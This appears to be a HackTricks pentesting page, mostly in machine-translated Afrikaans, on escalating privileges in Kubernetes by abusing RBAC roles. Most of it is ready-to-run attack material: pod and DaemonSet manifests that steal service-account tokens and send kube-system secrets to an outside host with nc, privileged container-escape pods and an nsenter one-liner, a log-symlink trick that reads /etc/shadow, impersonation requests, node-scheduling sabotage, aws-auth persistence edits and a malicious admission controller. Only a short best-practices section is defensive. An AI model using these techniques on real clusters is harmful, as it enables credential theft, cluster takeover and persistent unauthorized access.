Abusing Roles/ClusterRoles in Kubernetes

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Hier kan jy 'n paar potensieel gevaarlike Rolle en ClusterRolle konfigurasies vind. Onthou dat jy al die ondersteunde hulpbronne met kubectl api-resources kan kry.

Privilegie Eskalasie

Verwys na die kuns om toegang te verkry tot 'n ander prinsiep binne die kluster met verskillende voorregte (binne die kubernetes kluster of na eksterne wolke) as diegene wat jy reeds het, in Kubernetes is daar basies 4 hoof tegnieke om voorregte te eskaleer:

• In staat wees om te verteenwoordig ander gebruikers/groepe/SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke

• In staat wees om te skep/patch/exec pods waar jy SAs met beter voorregte binne die kubernetes kluster of na eksterne wolke kan vind of heg

• In staat wees om geheime te lees aangesien die SAs tokens as geheime gestoor word

• In staat wees om te ontsnap na die node vanaf 'n houer, waar jy al die geheime van die houers wat in die node loop, die akrediteer van die node, en die toestemmings van die node binne die wolk waarin dit loop (indien enige) kan steel

• 'n Vyfde tegniek wat 'n vermelding werd is die vermoë om port-forward in 'n pod te laat loop, aangesien jy dalk toegang kan verkry tot interessante hulpbronne binne daardie pod.

Toegang tot Enige Hulpbron of Werkwoord (Wildcard)

Die wildcard (*) gee toestemming oor enige hulpbron met enige werkwoord. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enige namespace in die kluster kan misbruik.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Toegang tot Enige Hulpbron met 'n spesifieke werkwoord

In RBAC bied sekere toestemmings beduidende risiko's:

1. create: Gee die vermoë om enige klusterhulpbron te skep, wat die risiko van privilige-eskalasie inhou.

2. list: Laat toe om alle hulpbronne te lys, wat moontlik sensitiewe data kan lek.

3. get: Laat toegang tot geheime van diensrekeninge toe, wat 'n sekuriteitsbedreiging inhou.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Skep - Steel Token

'n Aanvaller met die regte om 'n pod te skep, kan 'n bevoorregte Diensrekening aan die pod heg en die token steel om die Diensrekening na te boots. Effektief die regte na te skaal.

Voorbeeld van 'n pod wat die token van die bootstrap-signer diensrekening sal steel en dit na die aanvaller sal stuur:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Skep & Ontsnapping

Die volgende dui al die voorregte aan wat 'n houer kan hê:

• Bevoorregte toegang (deaktiveer beskermings en stel vermoëns in)

• Deaktiveer namespaces hostIPC en hostPid wat kan help om voorregte te verhoog

• Deaktiveer hostNetwork namespace, wat toegang gee om nodes se wolk voorregte te steel en beter toegang tot netwerke

• Monteer gashere / binne die houer

super_privs.yaml

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Skep die pod met:

kubectl --token $token create -f mount_root.yaml

Een-liner van hierdie tweet en met 'n paar toevoegings:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Now that you can escape to the node check post-exploitation techniques in:

Stealth

You probably want to be stealthier, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:

• Privileged + hostPID

• Privileged only

• hostPath

• hostPID

• hostNetwork

• hostIPC

You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods

Pod Create - Move to cloud

If you can create a pod (and optionally a service account) you might be able to obtain privileges in cloud environment by assigning cloud roles to a pod or a service account and then accessing it. Moreover, if you can create a pod with the host network namespace you can steal the IAM role of the node instance.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

It's possible to abouse these permissions to create a new pod and estalae privileges like in the previous example.

The following yaml creates a daemonset and exfiltrates the token of the SA inside the pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec is 'n hulpbron in kubernetes wat gebruik word om opdragte in 'n skulp binne 'n pod te loop. Dit maak dit moontlik om opdragte binne die houers te loop of 'n skulp binne te kry.

Daarom is dit moontlik om binne 'n pod te gaan en die token van die SA te steel, of om 'n bevoorregte pod binne te gaan, na die node te ontsnap, en al die tokens van die pods in die node te steel en (ab) te gebruik:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Hierdie toestemming laat toe om een plaaslike poort na een poort in die gespesifiseerde pod te stuur. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller mag dit misbruik om toegang te verkry tot interessante (soos DB's) of kwesbare toepassings (webs?) binne 'n pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Soos aangegee in hierdie navorsing, as jy toegang kan kry tot of 'n pod kan skep met die hosts /var/log/ gids gemonteer daarop, kan jy ontsnap uit die houer. Dit is basies omdat wanneer die Kube-API probeer om die logs van 'n houer te kry (met kubectl logs <pod>), dit die 0.log lêer van die pod aanvra deur die /logs/ eindpunt van die Kubelet diens. Die Kubelet diens stel die /logs/ eindpunt bloot wat basies net die /var/log lêerstelsel van die houer blootstel.

Daarom kan 'n aanvaller met toegang om in die /var/log/ gids van die houer te skryf, hierdie gedrag op 2 maniere misbruik:

• Om die 0.log lêer van sy houer (gewoonlik geleë in /var/logs/pods/namespace_pod_uid/container/0.log) te wysig om 'n symlink wat na /etc/shadow wys te wees, byvoorbeeld. Dan sal jy in staat wees om die hosts skadu lêer te exfiltreer deur:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

• As die aanvaller enige hoofrol met die regte om nodes/log te lees, kan hy eenvoudig 'n symlink in /host-mounted/var/log/sym na / skep en wanneer hy toegang verkry tot https://<gateway>:10250/logs/sym/ sal hy die gashere se wortel lêersisteem lys (die verandering van die symlink kan toegang tot lêers bied).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

'n Laboratorium en geoutomatiseerde eksploit kan gevind word in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Om readOnly beskerming te omseil

As jy gelukkig genoeg is en die hoogs bevoorregte vermoë CAP_SYS_ADMIN beskikbaar is, kan jy net die gids weer monteer as rw:

mount -o rw,remount /hostlogs/

Om hostPath readOnly beskerming te omseil

Soos vermeld in hierdie navorsing is dit moontlik om die beskerming te omseil:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Wat bedoel was om ontsnapings soos die vorige te voorkom deur, in plaas van 'n hostPath mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n gasheer se gids in die houer met skryftoegang te monteer:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Vervalsing van bevoorregte rekeninge

Met 'n gebruikersvervalsing voorreg, kan 'n aanvaller 'n bevoorregte rekening vervals.

Gebruik eenvoudig die parameter --as=<username> in die kubectl opdrag om 'n gebruiker te vervals, of --as-group=<group> om 'n groep te vervals:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Of gebruik die REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lys van Geheime

Die toestemming om geheime te lys kan 'n aanvaller in staat stel om werklik die geheime te lees deur toegang te verkry tot die REST API eindpunt:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lees 'n geheim – brute-forcing token ID's

Terwyl 'n aanvaller in besit van 'n token met leesregte die presiese naam van die geheim benodig om dit te gebruik, in teenstelling met die breër lys van geheime voorreg, is daar steeds kwesbaarhede. Standaarddiensrekeninge in die stelsel kan opgenoem word, elk geassosieer met 'n geheim. Hierdie geheime het 'n naamstruktuur: 'n statiese voorvoegsel gevolg deur 'n ewekansige vyf-karakter alfanumeriese token (uitgesluit sekere karakters) volgens die bronskode.

Die token word gegenereer uit 'n beperkte 27-karakter stel (bcdfghjklmnpqrstvwxz2456789), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan 'n aanvaller haalbaar 'n brute-force aanval uitvoer om die token binne 'n paar uur te deduseer, wat moontlik kan lei tot voorregverhoging deur toegang tot sensitiewe diensrekeninge.

Sertifikaatondertekening Versoeke

As jy die werkwoorde create in die hulpbron certificatesigningrequests (of ten minste in certificatesigningrequests/nodeClient) het. Jy kan create 'n nuwe CeSR van 'n nuwe node.

Volgens die dokumentasie is dit moontlik om hierdie versoeke outomaties goed te keur, so in daardie geval het jy nie ekstra regte nodig nie. As nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken opdatering in certificatesigningrequests/approval en approve in signers met resourceName <signerNameDomain>/<signerNamePath> of <signerNameDomain>/*

'n voorbeeld van 'n rol met al die vereiste regte is:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

So, met die nuwe node CSR goedgekeur, kan jy die spesiale toestemmings van nodes misbruik om geheime te steel en privileges te verhoog.

In hierdie pos en hierdie een is die GKE K8s TLS Bootstrap konfigurasie geconfigureer met outomatiese ondertekening en dit word misbruik om geloofsbriewe van 'n nuwe K8s Node te genereer en dan dit te misbruik om privileges te verhoog deur geheime te steel. As jy die genoemde privileges het, kan jy dieselfde ding doen. Let daarop dat die eerste voorbeeld die fout om 'n nuwe node te verhoed om geheime binne houers te benader, omseil omdat 'n node slegs die geheime van houers wat daarop gemonteer is, kan benader.

Die manier om dit te omseil, is net om 'n node-geloofsbrief te skep vir die nodenaam waar die houer met die interessante geheime gemonteer is (maar kyk net hoe om dit in die eerste pos te doen):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Beginsels wat configmaps in die kube-system naamruimte op EKS (moet in AWS wees) klusters kan wysig, kan cluster admin voorregte verkry deur die aws-auth configmap te oorskryf. Die werkwoorde wat benodig word, is update en patch, of create as die configmap nie geskep is nie:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Jy kan aws-auth gebruik vir volharding om toegang te gee aan gebruikers van ander rekeninge.

egter, aws --profile other_account eks update-kubeconfig --name <cluster-name> werk nie vanaf 'n ander rekening nie. Maar eintlik werk aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing as jy die ARN van die kluster in plaas van net die naam sit. Om kubectl te laat werk, maak net seker om die slagoffers kubeconfig te konfigureer en in die aws exec args voeg --profile other_account_role by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.

Escalating in GKE

Daar is 2 maniere om K8s-toestemmings aan GCP-principals toe te ken. In enige geval moet die principal ook die toestemming container.clusters.get hê om inligting te kan versamel om toegang tot die kluster te verkry, of jy sal jou eie kubectl konfigurasie lêer moet genereer (volg die volgende skakel).

Wanneer daar met die K8s API-eindpunt gepraat word, sal die GCP-auth-token gestuur word. Dan sal GCP, deur die K8s API-eindpunt, eers kontroleer of die principal (per e-pos) enige toegang binne die kluster het, dan sal dit kontroleer of dit enige toegang via GCP IAM het. As enige van daardie waar is, sal hy geantwoord word. As nie nie, sal 'n fout wat voorstel om toestemmings via GCP IAM te gee, gegee word.

Dan is die eerste metode om GCP IAM te gebruik, die K8s-toestemmings het hul gelyke GCP IAM-toestemmings, en as die principal dit het, sal hy dit kan gebruik.

GCP - Container Privesc

Die tweede metode is om K8s-toestemmings binne die kluster toe te ken deur die gebruiker te identifiseer deur sy e-pos (GCP-diensrekeninge ingesluit).

Create serviceaccounts token

Principals wat TokenRequests (serviceaccounts/token) kan skep wanneer daar met die K8s API-eindpunt gepraat word SAs (inligting van hier).

ephemeralcontainers

Principals wat update of patch pods/ephemeralcontainers kan kode-uitvoering op ander pods verkry, en potensieel uitbreek na hul node deur 'n ephemeral container met 'n bevoorregte securityContext by te voeg.

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Principals met enige van die werkwoorde create, update of patch oor validatingwebhookconfigurations of mutatingwebhookconfigurations mag in staat wees om een van sulke webhookconfigurations te skep om in staat te wees om toestemmings te verhoog.

Vir 'n mutatingwebhookconfigurations voorbeeld, kyk na hierdie afdeling van hierdie pos.

Escalate

Soos jy in die volgende afdeling kan lees: Ingeboude Bevoorregte Verhoging Voorkoming, kan 'n principal nie rolle of clusterroles opdateer of skep sonder om self daardie nuwe toestemmings te hê nie. Behalwe as hy die werkwoord escalate oor roles of clusterroles het. Dan kan hy nuwe rolle, clusterroles met beter toestemmings as diegene wat hy het, opdateer/skepp.

Nodes proxy

Principals met toegang tot die nodes/proxy subbron kan kode op pods uitvoer via die Kubelet API (volgens hierdie). Meer inligting oor Kubelet-authentisering op hierdie bladsy:

Kubelet Authentication & Authorization

Jy het 'n voorbeeld van hoe om RCE te kry deur gemagtig met 'n Kubelet API hier.

Delete pods + unschedulable nodes

Principals wat pods kan verwyder (delete werkwoord oor pods hulpbron), of pods kan verplaas (create werkwoord oor pods/eviction hulpbron), of podstatus kan verander (toegang tot pods/status) en kan ander nodes ongeskeduleer maak (toegang tot nodes/status) of nodes verwyder (delete werkwoord oor nodes hulpbron) en beheer oor 'n pod het, kan pods van ander nodes steel sodat hulle in die gekompromitteerde node uitgevoer word en die aanvaller kan die tokens van daardie pods steel.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Dienste status (CVE-2020-8554)

Beginsels wat services/status kan wysig, kan die status.loadBalancer.ingress.ip veld stel om die onopgeloste CVE-2020-8554 te misbruik en MiTM-aanvalle teen die kluster te loods. Meeste versagtings vir CVE-2020-8554 voorkom slegs ExternalIP dienste (volgens hierdie).

Nodes en Pods status

Beginsels met update of patch toestemmings oor nodes/status of pods/status, kan etikette wysig om skeduleringsbeperkings te beïnvloed.

Ingeboude Privilege Escalation Voorkoming

Kubernetes het 'n ingeboude meganisme om privilege escalasie te voorkom.

Hierdie stelsel verseker dat gebruikers nie hul voorregte kan verhoog deur rolle of rolbindings te wysig nie. Die afdwinging van hierdie reël vind op die API-vlak plaas, wat 'n beskerming bied selfs wanneer die RBAC-outeur inaktief is.

Die reël stipuleer dat 'n gebruiker slegs 'n rol kan skep of opdateer as hulle al die toestemmings het wat die rol insluit. Boonop moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met dié van die rol wat hulle probeer skep of wysig: of cluster-wyd vir ClusterRoles of beperk tot dieselfde naamruimte (of cluster-wyd) vir Roles.

Daar is 'n uitsondering op die vorige reël. As 'n beginsel die werkwoord escalate oor roles of clusterroles het, kan hy die voorregte van rolle en clusterroles verhoog selfs sonder om die toestemmings self te hê.

Kry & Patch RoleBindings/ClusterRoleBindings

Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie 'n rolebinding skep/wysig om jouself of 'n ander SA sekere voorregte te gee as jy dit nie reeds het nie.

Die voorreg om Rolebindings te skep, laat 'n gebruiker toe om rolle aan 'n diensrekening te bind. Hierdie voorreg kan potensieel lei tot privilege escalasie omdat dit die gebruiker toelaat om admin voorregte aan 'n gecompromitteerde diensrekening te bind.

Ander Aanvalle

Sidecar proxy app

Standaard is daar geen versleuteling in die kommunikasie tussen pods nie. Wederkerige verifikasie, twee-weg, pod na pod.

Skep 'n sidecar proxy app

Skep jou .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Bewerk jou .yaml en voeg die ontcommentaarde lyne by:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Sien die logs van die proxy:

kubectl logs app -C proxy

Meer inligting by: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Kwaadwillige Toelatingsbeheerder

'n Toelatingsbeheerder onderbreek versoeke na die Kubernetes API-bediener voordat die volharding van die objek, maar nadat die versoek geverifieer en gemagtig is.

As 'n aanvaller op een of ander manier daarin slaag om 'n Mutationg Toelatingsbeheerder te injekteer, sal hy in staat wees om reeds geverifieerde versoeke te wysig. In staat om potensieel privesc te wees, en meer gewoonlik in die kluster te volhard.

Voorbeeld van https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Kontroleer die status om te sien of dit gereed is:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Dan ontplooi 'n nuwe pod:

kubectl run nginx --image nginx
kubectl get po -w

Wanneer jy die ErrImagePull fout kan sien, kontroleer die beeldnaam met een van die navrae:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Soos wat jy in die bogenoemde beeld kan sien, het ons probeer om die beeld nginx te laat loop, maar die finale uitgevoerde beeld is rewanthtammana/malicious-image. Wat het net gebeur!!?

Tegniese Aspek

Die ./deploy.sh skrip stel 'n muterende webhook toelatingsbeheerder in, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasielyne, wat die waargenome uitkomste beïnvloed:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

OPA Gatekeeper omseiling

Kubernetes OPA Gatekeeper bypass

Beste Praktyke

Deaktiveer Automount van Diensrekening Tokens

• Pods en Diensrekeninge: Standaard monteer pods 'n diensrekening token. Om sekuriteit te verbeter, laat Kubernetes die deaktivering van hierdie automount-funksie toe.

• Hoe om toe te pas: Stel automountServiceAccountToken: false in die konfigurasie van diensrekeninge of pods vanaf Kubernetes weergawe 1.6.

Beperkte Gebruikerstoewysing in RoleBindings/ClusterRoleBindings

• Selektiewe Insluiting: Verseker dat slegs nodige gebruikers ingesluit word in RoleBindings of ClusterRoleBindings. Oudit gereeld en verwyder onbelangrike gebruikers om strakke sekuriteit te handhaaf.

Namespace-Spesifieke Rolle Bo Cluster-Wye Rolle

• Rolle vs. ClusterRolle: Verkies om Rolle en RoleBindings te gebruik vir namespace-spesifieke toestemmings eerder as ClusterRolle en ClusterRoleBindings, wat cluster-wyd van toepassing is. Hierdie benadering bied fynere beheer en beperk die omvang van toestemmings.

Gebruik geoutomatiseerde gereedskap

GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissionsGitHub

GitHub - aquasecurity/kube-hunter: Hunt for security weaknesses in Kubernetes clustersGitHub

GitHub - aquasecurity/kube-bench: Checks whether Kubernetes is deployed according to security best practices as defined in the CIS Kubernetes BenchmarkGitHub

Verwysings

• https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions

• https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1

• https://blog.rewanthtammana.com/creating-malicious-admission-controllers

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!

• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.